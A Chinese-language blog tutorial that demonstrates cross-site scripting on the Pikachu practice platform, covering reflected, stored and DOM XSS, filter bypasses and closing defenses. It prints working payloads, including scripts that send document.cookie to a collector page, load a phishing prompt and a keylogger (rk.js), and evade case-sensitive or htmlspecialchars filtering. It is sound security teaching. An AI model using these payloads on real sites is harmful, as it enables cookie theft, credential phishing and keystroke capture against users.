Web安全从入门到“放弃”之跨站脚本XSS

前言

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。XSS有以下几种常见类型:

  1. 反射性XSS;
  2. 存储型XSS;
  3. DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。XSS漏洞可以用来进行钓鱼攻击、前端j挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

XSS的危害比较:存储型>反射型>DOM型

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

本次实验是在pikachu平台进行演示!

反射型XSS(get)

打开pikachu平台,跟以往一样,先随便输入内容。

提交后,查看页面源代码,能够看到随便写的内容输出到了HTML的P标签里。接下来做个实验,输入正确的JS代码,看是否会原封不动的返回!

 刷新页面,重新在反射型XSS页面中输入正确的JS代码,因为HTML限制了字符长度,所以在那之前要先修改一下前端代码。按F12,修改长度

 然后输入正确的JS代码

<script>alert("xsscss")</script>

 

当提交后,可以看到弹窗弹出JS代码里的内容,说明代码成功执行

反射型XSS(post)

首先在页面中输入正确的账号密码:admin/123456

接下来的方法和get的一样,输入正确的JS代码后,有弹窗,执行成功

<script>alert("xss")</script>

 

 

实验案例-获取cookie

反射型xss(get)获取cookie

打开pikachu平台里的管理工具-XSS后台

点击后,会跳转到另外一个页面,然后输入账号密码,这里,我们可以把这个xss后台放到另外一个浏览器或者新的标签页进行!

 

打开cookie搜集

回到反射型xss(get)页面,和之前的操作一样,先修改前端的长度,然后输入一个获取cookie的JS代码

<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

 

提交后,会发现当前的页面会返回到首页,然后到XSS后台刷新,看到后台已经获取了get的cookie

反射型xss(post)获取cookie

相比于get方式,post方式更加神不知鬼不觉。因为post请求不能从URL让用户向服务器提交数据,所以需要攻击者自己去搭建一个站点,将搭建好的站点发给用户,这样就能让用户帮攻击者提交post请求,达到窃取用户的cookie的目的。

在那之前要先把站点搭建好,打开pikachu里的post.html,根据自己的实际情况修改IP地址

 

回到pikachu平台,在页面中输入正确的账号密码

 

在新的浏览器或者新的标签页的URL输入伪造的post.html站点 (注:站点要输入和自己在post.html里设置的地址一样,不然就出错)

http://127.0.0.1/pikachu/pkxss/xcookie/post.html

打开xss后台刷新,就能看到已经获取了cookie

存储型XSS

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

打开pikachu平台,和以往一样先在页面随便输入内容

 

提交后,不管怎么刷新页面,写的内容都还在,说明了写的内容被后台存了下来

 

打开页面源代码,能看到输入的内容和反射型XSS一样,都放在了p标签里,而且也没有做任何的过滤和转义处理

回到平台,在页面输入一个JS代码进行测试

<script>alert("cssX66")</script>

 

 

提交后,不管是刷新页面还是切换页面,他都会出现弹窗,说明了存储型XSS危害更大,会造成永久型的危害!

 

 

 

 

DOM型XSS

DOM的简单介绍:通过JavaScript,可以重构整个HTML文档。你可以添加,移除、改变或重排页面上的项目。要改变页面的某个东西,JS就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)。所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。

打开pikachu平台,和以往一样随便输入内容

 

打开页面源代码查看,可以看出用户输入的字符串内容会存放到str,然后通过DOM方法拼接到a标签里面

接下来进行测试,把源代码里面的a标签代码<a href='#'onclick="alert(xss)">'>what do you see?</a>进行修改

#'onclick="alert('xss')"

 

 把修改的代码输入到DOM中

 

提交后,点击what do you see?后,会弹出弹窗,说明测试漏洞成功

DOM型XSS-x

DOM型xss-x和DOM型xss差不多,他们的不同之处在于,DOM型xss-x是从浏览器的URL来获取输入内容的,相同之处在于,都是拼接到a标签里面

 

 

 

测试的方法和DOM型xss一样,输入之前修改的a标签代码,然后点击下面的超链接,就会出现弹窗,测试成功

 

 

实验案例-钓鱼攻击

攻击者可以在一个有存储型XSS漏洞的网站中嵌入恶意代码,每当用户访问该网站站点时就会自动触发(前面已经说过了存储型XSS是永久的),弹出一个提示框,当用户防范意识不高,在提示框中输入信息,那么该信息就会上传到攻击者的后台。

接下来进行演示,首先要修改一下pikachu的fish.php文件里的管理后台IP地址

在新的浏览器或者新的标签页里打开xss后台里的钓鱼结果

回到pikachu平台,在存储型XSS中输入JavaScript代码

 <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

 

点击提交后,会出现一个提示框,模拟用户输入账号密码,确定

返回到XSS后台刷新页面,可以看到后台已经获取了在提示框输入的账号密码

 

XSS案例——获取键盘记录

 在实验前,先了解一下跨域

什么是跨域

当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域

我们把不同域之间请求数据的操作,称为跨域操作

跨域-同源策略

为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:

两个不同域之间不能使用JS进行互相操作

比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象

    如果想要跨域操作,则需要管理员进行特殊配置

    比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

下面的标签跨域加载资源(资源类型时有限制的)不受同源策略限制

  • <script src="...">,JS加载到本地执行
  • <img src="..">,图片
  • <link href="..">,CSS
  • <iframe src="..">,任意资源

 为什么要同源策略

A登陆了淘宝,攻击者向A发送一个恶意链接urlb: nttp //www盗你cookie .com ,如果没有同源策略,即: urlb上的js可以操作A的内容(如:获取cookie等),有了同源策略,就限制了这种情况。
再比如:一个恶意站点A上使用了<iframe src= "B站点登陆页面”> ,发送该恶意url到攻击对象,攻击对象登陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。

在演示前先要修改pikachu文件夹中的rk.js,把IP地址修改为攻击者搭建的地址

 rk.js 是恶意攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用,这个文件可以记录用户的键盘操作,然后异步发送给攻击者。但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的,而ajax的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的。

到pikachu文件中,把rkserver.php中的注释删掉,在这里"*"星号的意思是允许所有人来跨域请求

接下来,用JavaScript构造一个payload,输入到pikachu的存储型XSS中运行

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

提交后,在页面中随便输入内容,然后打开XSS后台的键盘记录,点击刷新,可以看到页面显示出我们在pikahcu页面中输入的内容

 

XSS之盲打

什么是XSS盲打

XSS盲打其实不是种XSS漏洞的类型,而是一种攻击场景

在pikachu页面中随便输入内容,提交后,通过他的提示,我们可以知道输入的内容不会在前端输出,而是提交到了后台

接下来,我们可以用过输入一段脚本代码提交到后台,后台会把代码输出,从而遭到攻击

<script>alert('xss')</script>

提交后,点击页面右上角的提示,可以看到管理员的账号密码和地址,可以输入进入管理员页面看看

http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php

一登陆进管理员界面后,就弹出一个弹窗,输出的内容就是我们在前端输入的内容

 

 

XSS之过滤

在实际开发过程中,有很多应用系统或多或少会去做对应的安全措施,但是这些安全措施有可能会因为开发人员的逻辑不够严谨,方法错误的原因,导致可以被绕过。

过滤-转换

  • 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  • 大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
  • 双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
  • 注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

过滤-编码

 核心思路:

  • 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
  • 当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行

在使用编码时需要注意编码在输出点是否会被正常识别和翻译!

 

在pikachu靶场中,随便输入内容到页面中提交

<script>;;'';''''wwww.baidu

查看页面源代码,可以看到输入的JavaScript被过滤掉了,接下来我们进行试验,看后台是否真的完全过滤JavaScript

 

 回到页面,我们可以通过大小写混合的方式输入内容,尝试看是否能绕过

<ScRiPT>alert('xxsss')</ScRiPT>

提交后,可以看到弹窗出我们输入的内容,说明确实可以绕过了

我们也可以通过img标签中的“onerror”来进行绕过

<img src=x onerror=alert('xss')>

 

 查看后端源代码,可以看到他只是过滤JavaScript的小写并没有过滤大写和别的标签函数等等,安全措施设置的不够严谨,导致容易被绕过。

 

 XSS之htmlspecialchars

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

  • & 成为 &amp
  • " 成为 &quot
  • ' 成为 &#039
  • < 成为 &lt
  • > 成为 &gt

 可用的引号类型

  • ENT_COMPAT:默认,仅编码双引号
  • ENT_QUOTES:编码双引号和单引号
  • ENT_NOQUOTES:不编码任何引号

 

在pikachu靶场中随便输入一个字符串后提交

<>aaad11''''22""''

打开页面源代码,可以看到在a标签中我们输入的内容已经经过HTML编码了,但输入的单引号却没有被编码!

接下来我们可以试试通过单引号构造一个payload,看是否能绕过

a' onclick='alert(222)'

提交后,点击记录里面的a标签,可以看到页面显示出一个弹窗,说明成功绕过

 

查看后端源代码分析:可以看到它是用htmlspecialchars来做处理,但它用的是默认的方法,并没有对单引号、双引号进行处理,导致可以被绕过

 

 

XSS之href输出

 在pikachu页面中随便输入一个内容然后提交,打开源代码可以看到输入的内容是直接输入到href中,而且还被转义编码了

aaa''"""<>

查看后台源代码:可以看到当我们输入的网址不是百度的网址时,它会通过htmlspecialchars函数进行处理,而ENT_QUOTES函数则会对单引号、双引号等特色字符进行转义处理

因为a标签的href属性是可以使用JavaScript协议执行JS代码的,所以我们可以构造一个没有转义字符的payload来进行绕过

javascript:alert('xss')

输入payload后提交,点击蓝色的标签,可以看到页面弹出一个弹窗,说明绕过成功

 

如果要对href做安全处理,一般有两个逻辑:

  • 输入的时候只允许 http 或 https 开头的协议,才允许输出
  • 其次再进行htmlspecialchars处理

 

XSS之js输出

在pikachu页面中随便输入内容后提交。打开页面源代码,可以看到我们输入的内容被放到了JavaScript的代码中

接下来我们可以通过这个JavaScript代码来构造一个合法的闭合payload,来尝试进行绕过

aaa'</script><script>alert('xss')</script>

提交payload后,可以看到页面显示出弹窗,说明绕过成功

这个漏洞产生的原因:是因为输出点是在JS中,通过用户的输入动态生成了JS代码。JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话,在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS,所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义。

 

 

XSS防范措施

总的原则:输入做过滤,输出做转义

 

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
  • 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义

 

 

 

以上就是关于XSS漏洞的演示!

posted on 2020-06-19 22:44  青日GO(*/ω\*)  阅读(465)  评论(0编辑  收藏  举报